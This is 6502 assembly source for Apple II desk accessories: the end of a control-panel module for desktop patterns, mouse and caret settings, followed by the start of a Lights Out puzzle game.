MGTK_CALL MGTK::InRect, caret_blink_button1::rect
IF_NOT_ZERO
lda #1
jmp HandleCaretBlinkClick
END_IF
MGTK_CALL MGTK::InRect, caret_blink_button2::rect
IF_NOT_ZERO
lda #2
jmp HandleCaretBlinkClick
END_IF
MGTK_CALL MGTK::InRect, caret_blink_button3::rect
IF_NOT_ZERO
lda #3
jmp HandleCaretBlinkClick
END_IF
jmp InputLoop
.endproc ; HandleClick
;;; ============================================================
.proc HandleRArrClick
inc pattern_index
lda pattern_index
IF_A_GE #kPatternCount
copy8 #0, pattern_index
END_IF
jmp UpdatePattern
.endproc ; HandleRArrClick
.proc HandleLArrClick
dec pattern_index
IF_NEG
copy8 #kPatternCount-1, pattern_index
END_IF
jmp UpdatePattern
.endproc ; HandleLArrClick
.proc UpdatePattern
ptr := $06
lda pattern_index
asl
tay
copy16 patterns,y, ptr
ldy #7
DO
copy8 (ptr),y, pattern,y
dey
WHILE_POS
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_ZERO ; not obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
jsr DrawPreview
jsr DrawBits
MGTK_CALL MGTK::ShowCursor
END_IF
jmp InputLoop
.endproc ; UpdatePattern
;;; ============================================================
.proc HandleBitsClick
MGTK_CALL MGTK::GetWinPort, getwinport_params
MGTK_CALL MGTK::SetPort, grafport
;; Determine sense flag (0=clear, $FF=set)
jsr MapCoords
ldx screentowindow_params::windowx
ldy screentowindow_params::windowy
stx lastx
sty lasty
lda pattern,y
and mask1,x
beq :+
lda #0
SKIP_NEXT_2_BYTE_INSTRUCTION
: lda #$FF
@store: sta flag
;; Toggle pattern bit
loop: ldx screentowindow_params::windowx
ldy screentowindow_params::windowy
lda pattern,y
bit flag
IF_NS
ora mask1,x ; set bit
ELSE
and mask2,x ; clear bit
END_IF
cmp pattern,y ; did it change?
IF_NE
sta pattern,y
ldx screentowindow_params::windowx
ldy screentowindow_params::windowy
lda flag
jsr DrawBit
jsr DrawPreview
END_IF
;; Repeat until mouse-up
DO
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_up
jeq InputLoop
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, fatbits_rect
CONTINUE_IF_ZERO
jsr MapCoords
ldx screentowindow_params::windowx
ldy screentowindow_params::windowy
BREAK_IF_X_NE lastx
WHILE_Y_EQ lasty
moved: stx lastx
sty lasty
jmp loop
mask1: .byte 1<<0, 1<<1, 1<<2, 1<<3, 1<<4, 1<<5, 1<<6, 1<<7
mask2: .byte AS_BYTE(~(1<<0)), AS_BYTE(~(1<<1)), AS_BYTE(~(1<<2)), AS_BYTE(~(1<<3)), AS_BYTE(~(1<<4)), AS_BYTE(~(1<<5)), AS_BYTE(~(1<<6)), AS_BYTE(~(1<<7))
flag: .byte 0
lastx: .byte 0
lasty: .byte 0
.endproc ; HandleBitsClick
;;; Assumes click is within fatbits_rect
.proc MapCoords
sub16 screentowindow_params::windowx, fatbits_rect::x1, screentowindow_params::windowx
sub16 screentowindow_params::windowy, fatbits_rect::y1, screentowindow_params::windowy
ldy #kFatBitWidthShift
DO
lsr16 screentowindow_params::windowx
dey
WHILE_NOT_ZERO
ldy #kFatBitHeightShift
DO
lsr16 screentowindow_params::windowy
dey
WHILE_NOT_ZERO
rts
.endproc ; MapCoords
;;; ============================================================
.proc InitDblclick
ldx #DeskTopSettings::dblclick_speed
jsr ReadSettingWord
stax dblclick_speed
;; Find matching index in word table, or 0
ldx #kDblClickSpeedTableSize * 2
DO
ecmp16 dblclick_speed, dblclick_speed_table-2,x
IF_EQ
;; Found a match
txa
lsr ; /= 2
sta dblclick_selection
rts
END_IF
dex
dex
WHILE_POS
copy8 #0, dblclick_selection ; not found
rts
dblclick_speed: .word 0
.endproc ; InitDblclick
.proc HandleDblclickClick
sta dblclick_selection ; 1, 2 or 3
asl ; *= 2
tax
dex
dex ; 0, 2 or 4
copy16 dblclick_speed_table,x, dblclick_speed
ldx #DeskTopSettings::dblclick_speed
lda dblclick_speed
jsr WriteSetting
ldx #DeskTopSettings::dblclick_speed+1
lda dblclick_speed+1
jsr WriteSetting
jsr MarkDirty
jsr UpdateDblclickButtons
jmp InputLoop
dblclick_speed: .word 0
.endproc ; HandleDblclickClick
;;; ============================================================
.proc HandleTrackingClick
;; --------------------------------------------------
;; Update Settings
pha
ldx #DeskTopSettings::mouse_tracking
jsr WriteSetting
jsr MarkDirty
;; --------------------------------------------------
;; Update MGTK
copy8 #1, scalemouse_params::x_exponent
copy8 #0, scalemouse_params::y_exponent
;; Doubled if option selected
pla
IF_NOT_ZERO
inc scalemouse_params::x_exponent
inc scalemouse_params::y_exponent
END_IF
;; Also doubled if a IIc
bit ROMIN
lda ZIDBYTE
bit LCBANK1
bit LCBANK1
cmp #0 ; ZIDBYTE=0 for IIc / IIc+
IF_ZERO
inc scalemouse_params::x_exponent
inc scalemouse_params::y_exponent
END_IF
MGTK_CALL MGTK::ScaleMouse, scalemouse_params
;; Set the cursor to the same position (c/o last move),
;; to avoid it warping due to the scale change.
copy8 #MGTK::EventKind::no_event, event_params::kind
COPY_STRUCT MGTK::Point, last_mouse_pos, event_params::coords
MGTK_CALL MGTK::PostEvent, event_params
;; --------------------------------------------------
;; Update the UI
jsr UpdateTrackingButtons
jmp InputLoop
.endproc ; HandleTrackingClick
;;; ============================================================
.proc InitPattern
ptr := $06
MGTK_CALL MGTK::GetDeskPat, ptr
ldy #.sizeof(MGTK::Pattern)-1
DO
copy8 (ptr),y, pattern,y
dey
WHILE_POS
rts
.endproc ; InitPattern
.proc HandlePatternClick
MGTK_CALL MGTK::SetDeskPat, pattern
ldx #DeskTopSettings::pattern + .sizeof(MGTK::Pattern)-1
DO
lda pattern - DeskTopSettings::pattern,x
jsr WriteSetting
dex
WHILE_X_NE #AS_BYTE(DeskTopSettings::pattern-1)
jsr MarkDirty
MGTK_CALL MGTK::RedrawDeskTop
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
jmp InputLoop
.endproc ; HandlePatternClick
;;; ============================================================
penXOR: .byte MGTK::penXOR
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
;;; ============================================================
.proc DrawWindow
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_NOT_ZERO ; obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
;; ==============================
;; Frame
MGTK_CALL MGTK::SetPenSize, frame_pensize
MGTK_CALL MGTK::MoveTo, frame_l1a
MGTK_CALL MGTK::LineTo, frame_l1b
MGTK_CALL MGTK::MoveTo, frame_l2a
MGTK_CALL MGTK::LineTo, frame_l2b
MGTK_CALL MGTK::MoveTo, frame_l3a
MGTK_CALL MGTK::LineTo, frame_l3b
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, winfo::penwidth
;; ==============================
;; Desktop Pattern
BTK_CALL BTK::Draw, pattern_button
MGTK_CALL MGTK::FrameRect, fatbits_frame
MGTK_CALL MGTK::PaintBitsHC, larr_params
MGTK_CALL MGTK::PaintBitsHC, rarr_params
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::FrameRect, preview_frame
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, preview_line
jsr DrawPreview
jsr DrawBits
BTK_CALL BTK::CheckboxDraw, rgb_color_button
jsr UpdateRGBCheckbox
;; ==============================
;; Double-Click Speed
MGTK_CALL MGTK::MoveTo, dblclick_speed_label_pos
param_call DrawString, dblclick_speed_label_str
;; Arrows
.scope
copy8 #0, arrow_num
copy16 #arrows_table, addr
DO
ldy #3
DO
addr := *+1
lda SELF_MODIFIED,y
sta darrow_params::viewloc,y
dey
WHILE_POS
MGTK_CALL MGTK::PaintBitsHC, darrow_params
add16_8 addr, #.sizeof(MGTK::Point)
inc arrow_num
lda arrow_num
WHILE_A_NE #kNumArrows
.endscope
BTK_CALL BTK::RadioDraw, dblclick_button1
BTK_CALL BTK::RadioDraw, dblclick_button2
BTK_CALL BTK::RadioDraw, dblclick_button3
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsShowShortcuts
IF_NOT_ZERO
MGTK_CALL MGTK::MoveTo, dblclick_shortcut1_label_pos
param_call DrawString, dblclick_shortcut1_label_str
MGTK_CALL MGTK::MoveTo, dblclick_shortcut2_label_pos
param_call DrawString, dblclick_shortcut2_label_str
MGTK_CALL MGTK::MoveTo, dblclick_shortcut3_label_pos
param_call DrawString, dblclick_shortcut3_label_str
END_IF
jsr UpdateDblclickButtons
MGTK_CALL MGTK::PaintBitsHC, dblclick_params
;; ==============================
;; Mouse Tracking Speed
MGTK_CALL MGTK::MoveTo, mouse_tracking_label_pos
param_call DrawString, mouse_tracking_label_str
BTK_CALL BTK::RadioDraw, tracking_slow_button
BTK_CALL BTK::RadioDraw, tracking_fast_button
jsr UpdateTrackingButtons
MGTK_CALL MGTK::PaintBitsHC, mouse_tracking_params
;; ==============================
;; Caret Blinking
MGTK_CALL MGTK::MoveTo, caret_blink1_label_pos
param_call DrawString, caret_blink1_label_str
MGTK_CALL MGTK::MoveTo, caret_blink2_label_pos
param_call DrawString, caret_blink2_label_str
MGTK_CALL MGTK::PaintBitsHC, caret_blink_bitmap_params
MGTK_CALL MGTK::MoveTo, caret_blink_slow_label_pos
param_call DrawString, caret_blink_slow_label_str
MGTK_CALL MGTK::MoveTo, caret_blink_fast_label_pos
param_call DrawStringRight, caret_blink_fast_label_str
BTK_CALL BTK::RadioDraw, caret_blink_button1
BTK_CALL BTK::RadioDraw, caret_blink_button2
BTK_CALL BTK::RadioDraw, caret_blink_button3
jsr UpdateCaretBlinkButtons
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsShowShortcuts
IF_NOT_ZERO
MGTK_CALL MGTK::MoveTo, caret_blink_button1_shortcut_label_pos
param_call DrawString, caret_blink_button1_shortcut_label_str
MGTK_CALL MGTK::MoveTo, caret_blink_button2_shortcut_label_pos
param_call DrawStringCentered, caret_blink_button2_shortcut_label_str
MGTK_CALL MGTK::MoveTo, caret_blink_button3_shortcut_label_pos
param_call DrawStringRight, caret_blink_button3_shortcut_label_str
END_IF
done: MGTK_CALL MGTK::ShowCursor
rts
arrow_num:
.byte 0
.endproc ; DrawWindow
.proc ZToButtonState
IF_NOT_ZERO
lda #BTK::kButtonStateNormal
rts
END_IF
lda #BTK::kButtonStateChecked
rts
.endproc ; ZToButtonState
.proc UpdateDblclickButtons
lda dblclick_selection
cmp #1
jsr ZToButtonState
sta dblclick_button1::state
BTK_CALL BTK::RadioUpdate, dblclick_button1
lda dblclick_selection
cmp #2
jsr ZToButtonState
sta dblclick_button2::state
BTK_CALL BTK::RadioUpdate, dblclick_button2
lda dblclick_selection
cmp #3
jsr ZToButtonState
sta dblclick_button3::state
BTK_CALL BTK::RadioUpdate, dblclick_button3
rts
.endproc ; UpdateDblclickButtons
.proc UpdateTrackingButtons
ldx #DeskTopSettings::mouse_tracking
jsr ReadSetting
cmp #0
jsr ZToButtonState
sta tracking_slow_button::state
BTK_CALL BTK::RadioUpdate, tracking_slow_button
ldx #DeskTopSettings::mouse_tracking
jsr ReadSetting
cmp #1
jsr ZToButtonState
sta tracking_fast_button::state
BTK_CALL BTK::RadioUpdate, tracking_fast_button
rts
.endproc ; UpdateTrackingButtons
.proc UpdateCaretBlinkButtons
lda caret_blink_selection
cmp #1
jsr ZToButtonState
sta caret_blink_button1::state
BTK_CALL BTK::RadioUpdate, caret_blink_button1
lda caret_blink_selection
cmp #2
jsr ZToButtonState
sta caret_blink_button2::state
BTK_CALL BTK::RadioUpdate, caret_blink_button2
lda caret_blink_selection
cmp #3
jsr ZToButtonState
sta caret_blink_button3::state
BTK_CALL BTK::RadioUpdate, caret_blink_button3
rts
.endproc ; UpdateCaretBlinkButtons
.proc UpdateRGBCheckbox
ldx #DeskTopSettings::rgb_color
jsr ReadSetting
and #$80
.assert BTK::kButtonStateChecked = $80, error, "const mismatch"
sta rgb_color_button::state
BTK_CALL BTK::CheckboxUpdate, rgb_color_button
rts
.endproc ; UpdateRGBCheckbox
;;; ============================================================
;;; Assert: called with GrafPort already selected
.proc DrawPreview
COPY_BYTES 8, pattern, rotated_pattern
;; Offset c/o window position (mod 8 so 8-bit math okay)
lda winfo::viewloc::xcoord
clc
adc #7
and #$07 ; pattern is 8 bits wide
tay
DO
ldx #7 ; 8 rows
DO
lda rotated_pattern,x
cmp #$80
rol rotated_pattern,x
dex
WHILE_POS
dey
WHILE_POS
;; Draw it
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::SetPattern, rotated_pattern
MGTK_CALL MGTK::PaintRect, preview_rect
rts
rotated_pattern:
.res 8
.endproc ; DrawPreview
;;; ============================================================
DEFINE_RECT bitrect, 0, 0, 0, 0
;;; Assert: called with GrafPort already selected
.proc DrawBits
;; Perf: Filling rects is slightly faster than using large pens,
;; but 64 draw calls is still slow, ~1s to update fully at 1MHz
MGTK_CALL MGTK::SetPattern, winfo::pattern
copy8 #$FF, mode
copy8 #0, ypos
copy16 fatbits_rect::y1, bitrect::y1
add16_8 bitrect::y1, #kFatBitHeight-1, bitrect::y2
yloop: copy8 #0, xpos
copy16 fatbits_rect::x1, bitrect::x1
add16_8 bitrect::x1, #kFatBitWidth-1, bitrect::x2
ldy ypos
copy8 pattern,y, row
xloop: ror row
bcc zero
lda #MGTK::pencopy
SKIP_NEXT_2_BYTE_INSTRUCTION
.assert MGTK::notpencopy <> $C0, error, "Bad BIT skip"
zero: lda #MGTK::notpencopy
store:
IF_A_NE mode
sta mode
MGTK_CALL MGTK::SetPenMode, mode
END_IF
MGTK_CALL MGTK::PaintRect, bitrect
;; next x
inc xpos
lda xpos
IF_A_NE #8
add16_8 bitrect::x1, #kFatBitWidth
add16_8 bitrect::x2, #kFatBitWidth
jmp xloop
END_IF
;; next y
inc ypos
lda ypos
IF_A_NE #8
add16_8 bitrect::y1, #kFatBitHeight
add16_8 bitrect::y2, #kFatBitHeight
jmp yloop
END_IF
rts
xpos: .byte 0
ypos: .byte 0
row: .byte 0
mode: .byte 0
.endproc ; DrawBits
;;; Input: A = set/clear X = x coord, Y = y coord
;;; Assert: called with GrafPort already selected
.proc DrawBit
sta mode
stx bitrect::x1
sty bitrect::y1
lda #0
sta bitrect::x1+1
sta bitrect::y1+1
ldx #kFatBitWidthShift
DO
asl16 bitrect::x1
dex
WHILE_NOT_ZERO
ldx #kFatBitHeightShift
DO
asl16 bitrect::y1
dex
WHILE_NOT_ZERO
add16 bitrect::x1, fatbits_rect::x1, bitrect::x1
add16_8 bitrect::x1, #kFatBitWidth-1, bitrect::x2
add16 bitrect::y1, fatbits_rect::y1, bitrect::y1
add16_8 bitrect::y1, #kFatBitHeight-1, bitrect::y2
lda #MGTK::pencopy
bit mode
IF_NC
lda #MGTK::notpencopy
END_IF
sta mode
MGTK_CALL MGTK::SetPattern, winfo::pattern
MGTK_CALL MGTK::SetPenMode, mode
MGTK_CALL MGTK::PaintRect, bitrect
rts
mode: .byte 0
.endproc ; DrawBit
;;; ============================================================
pattern:
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
;;; The index of the pattern in the table below. We start with -1
;;; representing the current desktop pattern; either incrementing
;;; to 0 or decrementing (to a negative and wrapping) will start
;;; iterating through the table.
pattern_index: .byte AS_BYTE(-1)
kPatternCount = 15 + 14 + 1 ; 15 B&W patterns, 14 solid color patterns + 1
patterns:
.addr pattern_checkerboard, pattern_dark, pattern_vdark, pattern_black
.addr pattern_olives, pattern_scales, pattern_stripes
.addr pattern_light, pattern_vlight, pattern_xlight, pattern_white
.addr pattern_cane, pattern_brick, pattern_curvy, pattern_abrick
.addr pattern_rainbow
.addr pattern_c1, pattern_c2, pattern_c3, pattern_c4
.addr pattern_c5, pattern_c6, pattern_c7, pattern_c8
.addr pattern_c9, pattern_cA, pattern_cB, pattern_cC
.addr pattern_cD, pattern_cE
ASSERT_ADDRESS_TABLE_SIZE patterns, kPatternCount
pattern_checkerboard:
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
pattern_dark:
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
pattern_vdark:
.byte %10001000
.byte %00000000
.byte %00100010
.byte %00000000
.byte %10001000
.byte %00000000
.byte %00100010
.byte %00000000
pattern_black:
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
pattern_olives:
.byte %00010001
.byte %01101110
.byte %00001110
.byte %00001110
.byte %00010001
.byte %11100110
.byte %11100000
.byte %11100000
pattern_scales:
.byte %11111110
.byte %11111110
.byte %01111101
.byte %10000011
.byte %11101111
.byte %11101111
.byte %11010111
.byte %00111000
pattern_stripes:
.byte %01110111
.byte %10111011
.byte %11011101
.byte %11101110
.byte %01110111
.byte %10111011
.byte %11011101
.byte %11101110
pattern_light:
.byte %11101110
.byte %10111011
.byte %11101110
.byte %10111011
.byte %11101110
.byte %10111011
.byte %11101110
.byte %10111011
pattern_vlight:
.byte %11101110
.byte %11111111
.byte %10111011
.byte %11111111
.byte %11101110
.byte %11111111
.byte %10111011
.byte %11111111
pattern_xlight:
.byte %11111110
.byte %11111111
.byte %11101111
.byte %11111111
.byte %11111110
.byte %11111111
.byte %11101111
.byte %11111111
pattern_white:
.byte %11111111
.byte %11111111
.byte %11111111
.byte %11111111
.byte %11111111
.byte %11111111
.byte %11111111
.byte %11111111
pattern_cane:
.byte %11100000
.byte %11010001
.byte %10111011
.byte %00011101
.byte %00001110
.byte %00010111
.byte %10111011
.byte %01110001
pattern_brick:
.byte %00000000
.byte %11111110
.byte %11111110
.byte %11111110
.byte %00000000
.byte %11101111
.byte %11101111
.byte %11101111
pattern_curvy:
.byte %00111111
.byte %11011110
.byte %11101101
.byte %11110011
.byte %11001111
.byte %10111111
.byte %01111111
.byte %01111111
pattern_abrick:
.byte %11101111
.byte %11000111
.byte %10111011
.byte %01111100
.byte %11111110
.byte %01111111
.byte %10111111
.byte %11011111
pattern_rainbow:
.byte $88 ; red
.byte $99 ; magenta
.byte $33 ; light blue
.byte $00 ; black
.byte $00 ; black
.byte $22 ; green
.byte $EE ; yellow
.byte $CC ; orange
;; Solid colors (note that nibbles are flipped)
pattern_c1: .res 8, $88 ; 1 = red
pattern_c2: .res 8, $44 ; 2 = brown
pattern_c3: .res 8, $CC ; 3 = orange
pattern_c4: .res 8, $22 ; 4 = green
pattern_c5: .res 8, $AA ; 5 = gray1
pattern_c6: .res 8, $66 ; 6 = light green
pattern_c7: .res 8, $EE ; 7 = yellow
pattern_c8: .res 8, $11 ; 8 = blue
pattern_c9: .res 8, $99 ; 9 = magenta
pattern_cA: .res 8, $55 ; A = gray2
pattern_cB: .res 8, $DD ; B = pink
pattern_cC: .res 8, $33 ; C = light blue
pattern_cD: .res 8, $BB ; D = lavender
pattern_cE: .res 8, $77 ; E = aqua
;;; ============================================================
;;; Caret Blink
kCaretBlinkSpeedTableSize = 3
caret_blink_speed_table:
.word kDefaultCaretBlinkSpeed * 2
.word kDefaultCaretBlinkSpeed * 1
.word kDefaultCaretBlinkSpeed * 1/2
caret_blink_counter:
.word kDefaultCaretBlinkSpeed
.proc InitCaretBlink
ldx #DeskTopSettings::caret_blink_speed
jsr ReadSettingWord
stax caret_blink_speed
;; Find matching index in word table, or 0
ldx #kCaretBlinkSpeedTableSize * 2
DO
ecmp16 caret_blink_speed, caret_blink_speed_table-2,x
IF_EQ
;; Found a match
txa
lsr ; /= 2
sta caret_blink_selection
rts
END_IF
dex
dex
WHILE_POS
copy8 #0, caret_blink_selection ; not found
rts
caret_blink_speed: .word 0
.endproc ; InitCaretBlink
.proc HandleCaretBlinkClick
sta caret_blink_selection ; 1, 2 or 3
asl ; *= 2
tax
dex
dex ; 0, 2 or 4
copy16 caret_blink_speed_table,x, caret_blink_speed
ldx #DeskTopSettings::caret_blink_speed
lda caret_blink_speed
jsr WriteSetting
ldx #DeskTopSettings::caret_blink_speed+1
lda caret_blink_speed+1
jsr WriteSetting
jsr MarkDirty
jsr ResetCaretBlinkCounter
jsr UpdateCaretBlinkButtons
jmp InputLoop
caret_blink_speed: .word 0
.endproc ; HandleCaretBlinkClick
.proc ResetCaretBlinkCounter
ldx #DeskTopSettings::caret_blink_speed
jsr ReadSettingWord
stax caret_blink_counter
rts
.endproc ; ResetCaretBlinkCounter
.proc DoCaretBlink
dec16 caret_blink_counter
lda caret_blink_counter
ora caret_blink_counter+1
bne done
jsr ResetCaretBlinkCounter
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
bne done ; obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::ShieldCursor, caret_blink_bitmap_caret_params
MGTK_CALL MGTK::PaintBits, caret_blink_bitmap_caret_params
MGTK_CALL MGTK::UnshieldCursor
done: rts
.endproc ; DoCaretBlink
;;; ============================================================
.proc HandleRGBClick
ldx #DeskTopSettings::rgb_color
jsr ReadSetting
eor #$80
jsr WriteSetting
jsr MarkDirty
jsr UpdateRGBCheckbox
JSR_TO_MAIN JUMP_TABLE_RGB_MODE
jmp InputLoop
.endproc ; HandleRGBClick
;;; ============================================================
.include "../lib/drawstring.s"
.proc DrawStringRight
params := $6
textptr := $6
textlen := $8
result := $9
stax textptr
ldy #0
copy8 (textptr),y, textlen
inc16 textptr
MGTK_CALL MGTK::TextWidth, params
sub16 #0, result, result
lda #0
sta result+2
sta result+3
MGTK_CALL MGTK::Move, result
MGTK_CALL MGTK::DrawText, params
rts
.endproc ; DrawStringRight
.proc DrawStringCentered
params := $6
textptr := $6
textlen := $8
result := $9
stax textptr
ldy #0
copy8 (textptr),y, textlen
inc16 textptr
MGTK_CALL MGTK::TextWidth, params
lsr16 result
sub16 #0, result, result
lda #0
sta result+2
sta result+3
MGTK_CALL MGTK::Move, result
MGTK_CALL MGTK::DrawText, params
rts
.endproc ; DrawStringCentered
;;; ============================================================
;;; Input: X = `DeskTopSettings::*`
;;; Output: A,X = word
.proc ReadSettingWord
jsr ReadSetting
pha
inx ; `ReadSetting` preserves X
jsr ReadSetting
tax
pla
rts
.endproc ; ReadSettingWord
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/get_next_event.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::RunDA
bmi SaveSettings
rts
.include "../lib/save_settings.s"
.assert * < write_buffer, error, .sprintf("DA too big (at $%X)", *)
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 13,898
|
src/desk.acc/lights.out.s
|
;;; ============================================================
;;; LIGHTS.OUT - Desk Accessory
;;;
;;; Click to toggle lights. Try to turn them all off.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "lights.out.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
;;; ============================================================
;;; Param Blocks
.include "../lib/event_params.s"
.params trackgoaway_params
goaway: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
a_grafport: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
kHPadding = 18
kVPadding = 9
kRows = 5
kCols = 5
kLights = kRows * kCols
kLightWidth = BTK::kRadioButtonWidth + 4
kLightHeight = BTK::kRadioButtonHeight + 2
kDAWidth = kLightWidth * kCols + 2*kHPadding - 4
kDAHeight = kLightHeight * kRows + 2*kVPadding - 2
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
.repeat kRows, yy
.repeat kCols, xx
DEFINE_BUTTON .ident(.sprintf("button_%d_%d", xx, yy)), kDAWindowId,,, kHPadding + kLightWidth * xx, kVPadding + kLightHeight * yy
.endrepeat
.endrepeat
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr name
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
name: PASCAL_STRING res_string_window_title
scrambled_flag:
.byte 0
notpencopy: .byte MGTK::notpencopy
notpenXOR: .byte MGTK::notpenXOR
.params pattern_black
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
.endparams
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_RECT invert_rect, 0, 0, kDAWidth, kDAHeight
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
;;; ============================================================
;;; Create the window
.proc CreateWindow
jsr InitRand
MGTK_CALL MGTK::OpenWindow, winfo
jsr Scramble
FALL_THROUGH_TO InputLoop
.endproc ; CreateWindow
;;; ============================================================
;;; Input loop and processing
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr OnClick
jmp InputLoop
END_IF
IF_A_EQ #MGTK::EventKind::key_down
jsr OnKey
jmp InputLoop
END_IF
jmp InputLoop
.endproc ; InputLoop
;;; ============================================================
.proc OnClick
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
IF_A_EQ #kDAWindowId
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq DoClose
cmp #MGTK::Area::dragbar
beq DoDrag
cmp #MGTK::Area::content
beq DoClick
END_IF
rts
.endproc ; OnClick
;;; ============================================================
.proc OnKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq DoQuit
rts
END_IF
cmp #CHAR_ESCAPE
beq DoQuit
bit scrambled_flag
IF_NC
jmp Scramble
END_IF
;; TODO: Keyboard controls?
rts
.endproc ; OnKey
;;; ============================================================
.proc DoClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::goaway
bne DoQuit
rts
.endproc ; DoClose
;;; ============================================================
.proc DoDrag
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
IF_NS
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
jsr DrawWindow
END_IF
ret: rts
.endproc ; DoDrag
;;; ============================================================
.proc DoQuit
pla ; bust out of `OnXXX` proc
pla
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; DoQuit
;;; ============================================================
.proc DoClick
bit scrambled_flag
IF_NC
jmp Scramble
END_IF
copy8 winfo::window_id, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
copy16 #button_0_0::rect, rect_ptr
ldx #0
DO
txa ; A = index
pha
MGTK_CALL MGTK::InRect, SELF_MODIFIED, rect_ptr
IF_NOT_ZERO
pla ; A = index
jmp DoLightClick
END_IF
add16_8 rect_ptr, #.sizeof(BTK::ButtonRecord)
pla ; A = index
tax
inx
WHILE_X_NE #kLights
rts
.endproc ; DoClick
;;; ============================================================
;;; Input: A = light index
.proc DoLightClick
jsr ToggleLight
;; Toggle neighbors
pha
jsr IndexToXY
inx
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLight
END_IF
pla
pha
jsr IndexToXY
dex
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLight
END_IF
pla
pha
jsr IndexToXY
iny
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLight
END_IF
pla
pha
jsr IndexToXY
dey
jsr IsXYValid
IF_CC
jsr XYToIndex
jsr ToggleLight
END_IF
pla
;; All lights out?
rec_ptr := $06
copy16 #button_0_0, rec_ptr
ldy #BTK::ButtonRecord::state
ldx #kLights-1
DO
lda (rec_ptr),y
bmi ret ; light on, so no
add16_8 rec_ptr, #.sizeof(BTK::ButtonRecord)
dex
WHILE_POS
